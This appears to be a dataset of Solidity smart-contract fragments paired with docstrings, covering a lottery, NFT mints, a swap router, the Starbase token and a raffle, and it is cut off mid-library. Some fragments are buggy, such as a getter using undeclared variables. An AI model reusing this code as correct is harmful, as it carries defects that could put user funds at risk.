SixMatchPrizeTaken(msg.sender, _prizeAmount); tickets[msg.sender][_turn][i] |= 1; untakenPrizeAmounts[_turn - 1] -= _prizeAmount; } } function _getFiveMatchPrizeAmount(uint256 _turn) internal constant returns (uint256) { require(_turn > 0 && _turn < turn); uint256 _numFiveMatchWinners = uint256(numFiveMatchWinners[_turn - 1]); if (_numFiveMatchWinners == 0) return 0; return raisedAmounts[_turn - 1] * fiveMatchPayoutInPercent / 100 / _numFiveMatchWinners; } function _getBonusMatchPrizeAmount(uint256 _turn) internal constant returns (uint256) { require(_turn > 0 && _turn < turn); uint256 _numBonusMatchWinners = uint256(numBonusMatchWinners[_turn - 1]); if (_numBonusMatchWinners == 0) return 0; return raisedAmounts[_turn - 1] * bonusMatchPayoutInPercent / 100 / _numBonusMatchWinners; } function _getSixMatchPrizeAmount(uint256 _turn) internal constant returns (uint256) { require(_turn > 0 && _turn < turn); uint256 _numSixMatchWinners = uint256(numSixMatchWinners[_turn - 1]); if (_numSixMatchWinners == 0) return 0; return raisedAmounts[_turn - 1] * sixMatchPayoutInPercent / 100 / _numSixMatchWinners; } function() payable { } }
isTaken 1 bit [0] _isAutoGenerated 1 bit [1] 6 betNumbers 24 bits [2..25]
function getBetting(uint256 i) constant returns (bool, bool, uint8[], lottoRank, uint32){ require(i < bettings.length); uint256 _betting = bettings[i]; bool _isTaken; if (_betting & 1 == 1) _isTaken = true; else _isAutoGenerated = false; bool _isAutoGenerated; if ((_betting >> 1) & 1 == 1) _isAutoGenerated = true; else _isAutoGenerated = false; uint8[] memory _betNumbers = new uint8[](lottoLength); for (uint8 _index = 0; _index < lottoLength; _index++) { _betNumbers[_index] = uint8((_betting >> (_index * 4 + 2)) & (2 ** 4 - 1)); } _timestamp = uint128((_betting >> 189) & (2 ** 67 - 1)); uint32 _turn = getTurn(i); if (_turn == turn && isLottoStarted) return (_isTaken, _isAutoGenerated, _betNumbers, lottoRank.NONCE, _turn); if ((_betting >> 26) & 1 == 1) _lottoRank = lottoRank.FIVE_MATCH; if ((_betting >> 27) & 1 == 1) _lottoRank = lottoRank.BONUS_MATCH; if ((_betting >> 28) & 1 == 1) _lottoRank = lottoRank.SIX_MATCH; return (_isTaken, _isAutoGenerated, _betNumbers, _lottoRank, _turn); }
7,323,341
./partial_match/80001/0x447CDFAc75FF8270d1b5235D311dd94F771aB5ae/sources/StrykingBatchMint.sol
Batch mints to destination address by calling mintTo on Stryking NFT contract to address to mint to count number of NFTs to mint/
function batchMintTo(address to, uint256 count) public onlyOwner { require(count != 0, "Proxy : count invalid"); for (uint256 i=0; i < count; i++) { nftContract.mintTo(to); } }
8,824,490
./full_match/8453/0xc6f3966E5D08Ced98aC30f8B65BeAB5882Be54C7/sources/contracts/DackieRouter.sol
SWAP requires the initial amount to have already been sent to the first pair
function _swap( uint256[] memory amounts, address[] memory path, address _to ) internal virtual { for (uint256 i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0, ) = DackieLibrary.sortTokens(input, output); uint256 amountOut = amounts[i + 1]; (uint256 amount0Out, uint256 amount1Out) = input == token0 ? (uint256(0), amountOut) : (amountOut, uint256(0)); address to = i < path.length - 2 ? DackieLibrary.pairFor(factory, output, path[i + 2]) : _to; IDackiePair(DackieLibrary.pairFor(factory, input, output)).swap(amount0Out, amount1Out, to, new bytes(0)); } }
11,564,947
pragma solidity ^0.4.13; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract AbstractStarbaseCrowdsale { function workshop() constant returns (address) {} function startDate() constant returns (uint256) {} function endedAt() constant returns (uint256) {} function isEnded() constant returns (bool); function totalRaisedAmountInCny() constant returns (uint256); function numOfPurchasedTokensOnCsBy(address purchaser) constant returns (uint256); function numOfPurchasedTokensOnEpBy(address purchaser) constant returns (uint256); } contract AbstractStarbaseMarketingCampaign { function workshop() constant returns (address) {} } /// @title Token contract - ERC20 compatible Starbase token contract. /// @author Starbase PTE. LTD. - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c3aaada5ac83b0b7a2b1a1a2b0a6eda0ac">[email&#160;protected]</a>> contract StarbaseToken is StandardToken { /* * Events */ event PublicOfferingPlanDeclared(uint256 tokenCount, uint256 unlockCompanysTokensAt); event MvpLaunched(uint256 launchedAt); event LogNewFundraiser (address indexed fundraiserAddress, bool isBonaFide); event LogUpdateFundraiser(address indexed fundraiserAddress, bool isBonaFide); /* * Types */ struct PublicOfferingPlan { uint256 tokenCount; uint256 unlockCompanysTokensAt; uint256 declaredAt; } /* * External contracts */ AbstractStarbaseCrowdsale public starbaseCrowdsale; AbstractStarbaseMarketingCampaign public starbaseMarketingCampaign; /* * Storage */ address public company; PublicOfferingPlan[] public publicOfferingPlans; // further crowdsales mapping(address => uint256) public initialEcTokenAllocation; // Initial token allocations for Early Contributors uint256 public mvpLaunchedAt; // 0 until a MVP of Starbase Platform launches mapping(address => bool) private fundraisers; // Fundraisers are vetted addresses that are allowed to execute functions within the contract /* * Constants / Token meta data */ string constant public name = "Starbase"; // Token name string constant public symbol = "STAR"; // Token symbol uint8 constant public decimals = 18; uint256 constant public initialSupply = 1000000000e18; // 1B STAR tokens uint256 constant public initialCompanysTokenAllocation = 750000000e18; // 750M /* * Modifiers */ modifier onlyCrowdsaleContract() { assert(msg.sender == address(starbaseCrowdsale)); _; } modifier onlyMarketingCampaignContract() { assert(msg.sender == address(starbaseMarketingCampaign)); _; } modifier onlyFundraiser() { // Only rightful fundraiser is permitted. assert(isFundraiser(msg.sender)); _; } /* * Contract functions */ /** * @dev Contract constructor function * @param starbaseCompanyAddr The address that will holds untransferrable tokens * @param starbaseCrowdsaleAddr Address of the crowdsale contract * @param starbaseMarketingCampaignAddr The address of the marketing campaign contract */ function StarbaseToken( address starbaseCompanyAddr, address starbaseCrowdsaleAddr, address starbaseMarketingCampaignAddr ) { assert( starbaseCompanyAddr != 0 && starbaseCrowdsaleAddr != 0 && starbaseMarketingCampaignAddr != 0); starbaseCrowdsale = AbstractStarbaseCrowdsale(starbaseCrowdsaleAddr); starbaseMarketingCampaign = AbstractStarbaseMarketingCampaign(starbaseMarketingCampaignAddr); company = starbaseCompanyAddr; // msg.sender becomes first fundraiser fundraisers[msg.sender] = true; LogNewFundraiser(msg.sender, true); // Tokens for crowdsale and early purchasers balances[starbaseCrowdsale.workshop()] = 175000000e18; // CS(125M)+EP(50M) // Tokens for marketing campaign supporters balances[starbaseMarketingCampaign.workshop()] = 12500000e18; // 12.5M // Tokens for early contributors, should be allocated by function balances[0] = 62500000e18; // 62.5M // Starbase company holds untransferrable tokens initially balances[starbaseCompanyAddr] = initialCompanysTokenAllocation; // 750M totalSupply = initialSupply; // 1B } /* * External functions */ /** * @dev Returns number of declared public offering plans */ function numOfDeclaredPublicOfferingPlans() external constant returns (uint256) { return publicOfferingPlans.length; } /** * @dev Declares a public offering plan to make company&#39;s tokens transferable * @param tokenCount Number of tokens to transfer. * @param unlockCompanysTokensAt Time of the tokens will be unlocked */ function declarePulicOfferingPlan(uint256 tokenCount, uint256 unlockCompanysTokensAt) external onlyFundraiser() returns (bool) { assert(tokenCount <= 100000000e18); // shall not exceed 100M tokens assert(SafeMath.sub(now, starbaseCrowdsale.endedAt()) >= 180 days); // shall not be declared for 6 months after the crowdsale ended assert(SafeMath.sub(unlockCompanysTokensAt, now) >= 60 days); // tokens must be untransferable at least for 2 months // check if last declaration was more than 6 months ago if (publicOfferingPlans.length > 0) { uint256 lastDeclaredAt = publicOfferingPlans[publicOfferingPlans.length - 1].declaredAt; assert(SafeMath.sub(now, lastDeclaredAt) >= 180 days); } uint256 totalDeclaredTokenCount = tokenCount; for (uint8 i; i < publicOfferingPlans.length; i++) { totalDeclaredTokenCount += publicOfferingPlans[i].tokenCount; } assert(totalDeclaredTokenCount <= initialCompanysTokenAllocation); // shall not exceed the initial token allocation publicOfferingPlans.push( PublicOfferingPlan(tokenCount, unlockCompanysTokensAt, now)); PublicOfferingPlanDeclared(tokenCount, unlockCompanysTokensAt); } /** * @dev Allocate tokens to a marketing supporter from the marketing campaign share * @param to Address to where tokens are allocated * @param value Number of tokens to transfer */ function allocateToMarketingSupporter(address to, uint256 value) external onlyMarketingCampaignContract returns (bool) { return allocateFrom(starbaseMarketingCampaign.workshop(), to, value); } /** * @dev Allocate tokens to an early contributor from the early contributor share * @param to Address to where tokens are allocated * @param value Number of tokens to transfer */ function allocateToEarlyContributor(address to, uint256 value) external onlyFundraiser() returns (bool) { initialEcTokenAllocation[to] = SafeMath.add(initialEcTokenAllocation[to], value); return allocateFrom(0, to, value); } /** * @dev Issue new tokens according to the STAR token inflation limits * @param _for Address to where tokens are allocated * @param value Number of tokens to issue */ function issueTokens(address _for, uint256 value) external onlyFundraiser() returns (bool) { // check if the value under the limits assert(value <= numOfInflatableTokens()); totalSupply = SafeMath.add(totalSupply, value); balances[_for] += value; return true; } /** * @dev Declares Starbase MVP has been launched * @param launchedAt When the MVP launched (timestamp) */ function declareMvpLaunched(uint256 launchedAt) external onlyFundraiser() returns (bool) { require(mvpLaunchedAt == 0); // overwriting the launch date is not permitted require(launchedAt <= now); require(starbaseCrowdsale.isEnded()); mvpLaunchedAt = launchedAt; MvpLaunched(launchedAt); return true; } /** * @dev Allocate tokens to a crowdsale or early purchaser from the crowdsale share * @param to Address to where tokens are allocated * @param value Number of tokens to transfer */ function allocateToCrowdsalePurchaser(address to, uint256 value) external onlyCrowdsaleContract returns (bool) { return allocateFrom(starbaseCrowdsale.workshop(), to, value); } /* * Public functions */ /** * @dev Transfers sender&#39;s tokens to a given address. Returns success. * @param to Address of token receiver. * @param value Number of tokens to transfer. */ function transfer(address to, uint256 value) public returns (bool) { assert(isTransferable(msg.sender, value)); return super.transfer(to, value); } /** * @dev Allows third party to transfer tokens from one address to another. Returns success. * @param from Address from where tokens are withdrawn. * @param to Address to where tokens are sent. * @param value Number of tokens to transfer. */ function transferFrom(address from, address to, uint256 value) public returns (bool) { assert(isTransferable(from, value)); return super.transferFrom(from, to, value); } /** * @dev Adds fundraiser. Only called by another fundraiser. * @param fundraiserAddress The address in check */ function addFundraiser(address fundraiserAddress) public onlyFundraiser { assert(!isFundraiser(fundraiserAddress)); fundraisers[fundraiserAddress] = true; LogNewFundraiser(fundraiserAddress, true); } /** * @dev Update fundraiser address rights. * @param fundraiserAddress The address to update * @param isBonaFide Boolean that denotes whether fundraiser is active or not. */ function updateFundraiser(address fundraiserAddress, bool isBonaFide) public onlyFundraiser returns(bool) { assert(isFundraiser(fundraiserAddress)); fundraisers[fundraiserAddress] = isBonaFide; LogUpdateFundraiser(fundraiserAddress, isBonaFide); return true; } /** * @dev Returns whether fundraiser address has rights. * @param fundraiserAddress The address in check */ function isFundraiser(address fundraiserAddress) constant public returns(bool) { return fundraisers[fundraiserAddress]; } /** * @dev Returns whether the transferring of tokens is available fundraiser. * @param from Address of token sender * @param tokenCount Number of tokens to transfer. */ function isTransferable(address from, uint256 tokenCount) constant public returns (bool) { if (tokenCount == 0 || balances[from] < tokenCount) { return false; } // company&#39;s tokens may be locked up if (from == company) { if (tokenCount > numOfTransferableCompanysTokens()) { return false; } } uint256 untransferableTokenCount = 0; // early contributor&#39;s tokens may be locked up if (initialEcTokenAllocation[from] > 0) { untransferableTokenCount = SafeMath.add( untransferableTokenCount, numOfUntransferableEcTokens(from)); } // EP and CS purchasers&#39; tokens should be untransferable initially if (starbaseCrowdsale.isEnded()) { uint256 passedDays = SafeMath.sub(now, starbaseCrowdsale.endedAt()) / 86400; // 1d = 86400s if (passedDays < 7) { // within a week // crowdsale purchasers cannot transfer their tokens for a week untransferableTokenCount = SafeMath.add( untransferableTokenCount, starbaseCrowdsale.numOfPurchasedTokensOnCsBy(from)); } if (passedDays < 14) { // within two weeks // early purchasers cannot transfer their tokens for two weeks untransferableTokenCount = SafeMath.add( untransferableTokenCount, starbaseCrowdsale.numOfPurchasedTokensOnEpBy(from)); } } uint256 transferableTokenCount = SafeMath.sub(balances[from], untransferableTokenCount); if (transferableTokenCount < tokenCount) { return false; } else { return true; } } /** * @dev Returns the number of transferable company&#39;s tokens */ function numOfTransferableCompanysTokens() constant public returns (uint256) { uint256 unlockedTokens = 0; for (uint8 i; i < publicOfferingPlans.length; i++) { PublicOfferingPlan memory plan = publicOfferingPlans[i]; if (plan.unlockCompanysTokensAt <= now) { unlockedTokens += plan.tokenCount; } } return SafeMath.sub( balances[company], initialCompanysTokenAllocation - unlockedTokens); } /** * @dev Returns the number of untransferable tokens of the early contributor * @param _for Address of early contributor to check */ function numOfUntransferableEcTokens(address _for) constant public returns (uint256) { uint256 initialCount = initialEcTokenAllocation[_for]; if (mvpLaunchedAt == 0) { return initialCount; } uint256 passedWeeks = SafeMath.sub(now, mvpLaunchedAt) / 7 days; if (passedWeeks <= 52) { // a year ≈ 52 weeks // all tokens should be locked up for a year return initialCount; } // unlock 1/52 tokens every weeks after a year uint256 transferableTokenCount = initialCount / 52 * (passedWeeks - 52); if (transferableTokenCount >= initialCount) { return 0; } else { return SafeMath.sub(initialCount, transferableTokenCount); } } /** * @dev Returns number of tokens which can be issued according to the inflation rules */ function numOfInflatableTokens() constant public returns (uint256) { if (starbaseCrowdsale.endedAt() == 0) { return 0; } uint256 passedDays = SafeMath.sub(now, starbaseCrowdsale.endedAt()) / 86400; // 1d = 60s * 60m * 24h = 86400s uint256 passedYears = passedDays * 100 / 36525; // about 365.25 days in a year uint256 inflatedSupply = initialSupply; for (uint256 i; i < passedYears; i++) { inflatedSupply += SafeMath.mul(inflatedSupply, 25) / 1000; // 2.5%/y = 0.025/y } uint256 remainderedDays = passedDays * 100 % 36525 / 100; if (remainderedDays > 0) { uint256 inflatableTokensOfNextYear = SafeMath.mul(inflatedSupply, 25) / 1000; inflatedSupply += SafeMath.mul( inflatableTokensOfNextYear, remainderedDays * 100) / 36525; } return SafeMath.sub(inflatedSupply, totalSupply); } /* * Internal functions */ /** * @dev Allocate tokens value from an address to another one. This function is only called internally. * @param from Address from where tokens come * @param to Address to where tokens are allocated * @param value Number of tokens to transfer */ function allocateFrom(address from, address to, uint256 value) internal returns (bool) { assert(value > 0 && balances[from] >= value); balances[from] -= value; balances[to] += value; Transfer(from, to, value); return true; } }
Allocate tokens to a crowdsale or early purchaser from the crowdsale share to Address to where tokens are allocated value Number of tokens to transfer/
function allocateToCrowdsalePurchaser(address to, uint256 value) external onlyCrowdsaleContract returns (bool) { return allocateFrom(starbaseCrowdsale.workshop(), to, value); }
15,286,426
./full_match/5/0xC5dea6De2777219249eb4Eb88825863B1A626c8A/sources/project_/contracts/Raffle.sol
Clear the players array
function pickWinner() public onlyOwner { uint randomIndex = getRandomNumber() % players.length; players[randomIndex].transfer(address(this).balance); winners.push(payable(players[randomIndex])); raffleId++; players = new address payable[](0); }
1,879,391
// SPDX-License-Identifier: MIT /* * * Mystic Wizards Contract * * Contract by Matt Casanova [Twitter: @DevGuyThings] * * Launched on Hashku * */ pragma solidity 0.8.10; import "./Hashku.sol"; // MYSTIC WIZARDS WITHDRAWAL ADDRESS: 0x82d2d60103A9455Efe466831e38d1418927b1358 contract MysticWizards is Hashku { uint public presalePrice = 50000000000000000; mapping(uint256 => uint256) public tokenAffinities; constructor() Hashku( "Mystic Wizards", "MYSTIC", "https://storage.hashku.com/api/mystic-wizards/main/", "MYSTIC", 7777, 10, 20, 60000000000000000, 5, 0x82d2d60103A9455Efe466831e38d1418927b1358 ) { } // convenience function used by Hashku to check max for UI function maxMintPerTransaction() public view override returns (uint256) { if (isPublic) { return maxMintPerTransactionNumber; } return 0; } // convenience function used by Hashku to check max for UI; 0 is unlimited function maxMintPerAddress() public view override returns (uint256) { if (isPublic) { return 0; } return maxMintPerAddressNumber; } // convenience function used by Hashku to check max for UI function price() public view override returns (uint256) { if (isPublic) { return priceNumber; } return presalePrice; } // public minting: max tokens per transaction only function shop(uint256 _amount) external override payable { require(_amount <= maxMintPerTransactionNumber, "max_mintable"); require(nextToken() + _amount <= maxTokens, "not_enough_tokens"); require(!isClosed, "is_closed"); require(isPublic, "not_public"); require(priceNumber * _amount == msg.value, "incorrect_funds"); for (uint256 i = 0; i < _amount; i++) { mint(_msgSender()); } } // pre-sale minting: max tokens per address, signature required function shop(uint256 _amount, bytes memory _signature) external override payable { require(tokensMinted[_msgSender()] + _amount <= maxMintPerAddressNumber, "max_minted"); require(nextToken() + _amount <= maxTokens, "not_enough_tokens"); require(!isPublic, "is_public"); require(!isClosed, "is_closed"); require(verifySignature(_signature), "invalid_signature"); require(presalePrice * _amount == msg.value, "incorrect_funds"); tokensMinted[_msgSender()] += _amount; for (uint256 i = 0; i < _amount; i++) { mint(_msgSender()); } } function setPresalePrice(uint256 _price) external onlyOwner { presalePrice = _price; } function setTokenAffinities(uint256[] calldata _tokenIds, uint256[] calldata _affinityIds) external onlyOwner { require(_tokenIds.length == _affinityIds.length, "amount_mismatch"); for (uint256 i = 0; i < _tokenIds.length; i++) { tokenAffinities[_tokenIds[i]] = _affinityIds[i]; } } }
public minting: max tokens per transaction only
function shop(uint256 _amount) external override payable { require(_amount <= maxMintPerTransactionNumber, "max_mintable"); require(nextToken() + _amount <= maxTokens, "not_enough_tokens"); require(!isClosed, "is_closed"); require(isPublic, "not_public"); require(priceNumber * _amount == msg.value, "incorrect_funds"); for (uint256 i = 0; i < _amount; i++) { mint(_msgSender()); } }
5,862,000
./full_match/1/0xB67D91E38fbA6CfCb693d3f4598F8bd1e6e68AE3/sources/contracts/staking/StakingRewards.sol
when farming was started with 1y and 12tokens and we want to finish after 4 months, we need to end up with situation like we were starting with 4mo and 4 tokens. it was notified but nobody staked yet
function finishFarming() virtual external whenActive onlyOwner { stopped = true; emit FarmingFinished(); Times memory t = timeData; if (t.periodFinish == 0 && t.totalRewardsSupply != 0) { timeData.lastUpdateTime = 0; timeData.totalRewardsSupply = 0; return; } require(block.timestamp < t.periodFinish, "can't stop if not started or already finished"); if (_totalSupply != 0) { uint256 remaining = t.periodFinish - block.timestamp; timeData.rewardsDuration = uint32(t.rewardsDuration - remaining); } timeData.periodFinish = uint32(block.timestamp); }
17,098,201
./full_match/80001/0xeE3b38b5F9e6a4e8573b35b17705728F69B7088E/sources/project:/contracts/ForecastExchange.sol
Get token allowance of this contract
function getContractTokenAllowance() external view returns (uint256) { return token.allowance(token.owner(), address(this)); }
5,651,076
./full_match/97/0x088324A7dfe17F89cdE3884CD2c61e49cD45C3F3/sources/contracts/testcol.sol
See {IERC721Metadata-tokenURI}./
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } event Burn(uint256 tokenId); event AdminTransfer(address from, address to, uint256 indexed tokenId);
3,285,141
./full_match/1/0x25107870d3eFAb077deDED0A8169e7BA740811d8/sources/solidity/BigAssToadz.sol
Returns true if this contract implements the interface defined by `interfaceId`. See the corresponding to learn more about how these ids are created. This function call must use less than 30000 gas./ The interface IDs are constants representing the first 4 bytes of the XOR of all function selectors in the interface. See: [ERC165](https:eips.ethereum.org/EIPS/eip-165) (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC721A) returns (bool) { return interfaceId == type(IERC721A).interfaceId || }
16,472,218
./partial_match/1/0xa22cf004eD5105608b39c48bE688BD9B9026a046/sources/FeePool.sol
The remaining synths an issuer can issue against their total synthetix balance. issuer The account that intends to issue currencyKey The currency to price issuable value in/ Don't need to check for synth existing or stale rates because maxIssuableSynths will do it for us.
function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; return max.sub(alreadyIssued); } }
4,057,360
/** *Submitted for verification at Etherscan.io on 2021-09-03 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; /** * @dev Interface for discreet.eth in addition to the standard ERC721 interface. */ interface discreetNFTInterface { /** * @dev Mint token with the supplied tokenId if it is currently available. */ function mint(uint256 tokenId) external; /** * @dev Mint token with the supplied tokenId if it is currently available to * another address. */ function mint(address to, uint256 tokenId) external; /** * @dev Burn token with the supplied tokenId if it is owned, approved or * reclaimable. Tokens become reclaimable after ~4 million blocks without a * mint or transfer. */ function burn(uint256 tokenId) external; /** * @dev Check the current block number at which a given token will become * reclaimable. */ function reclaimableThreshold(uint256 tokenId) external view returns (uint256); /** * @dev Check whether a given token is currently reclaimable. */ function isReclaimable(uint256 tokenId) external view returns (bool); /** * @dev Retrieve just the image URI for a given token. */ function tokenImageURI(uint256 tokenId) external view returns (string memory); } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } interface IENSReverseRegistrar { function claim(address owner) external returns (bytes32 node); function setName(string calldata name) external returns (bytes32 node); } /** * @dev Implementation of the {IERC165} interface. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /// [MIT License] /// @title Base64 /// @notice Provides a function for encoding some bytes in base64 /// @author Brecht Devos <[email protected]> library Base64 { bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /// @notice Encodes some bytes to the base64 representation function encode(bytes memory data) internal pure returns (string memory) { uint256 len = data.length; if (len == 0) return ""; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((len + 2) / 3); // Add some extra buffer at the end bytes memory result = new bytes(encodedLen + 32); bytes memory table = TABLE; assembly { let tablePtr := add(table, 1) let resultPtr := add(result, 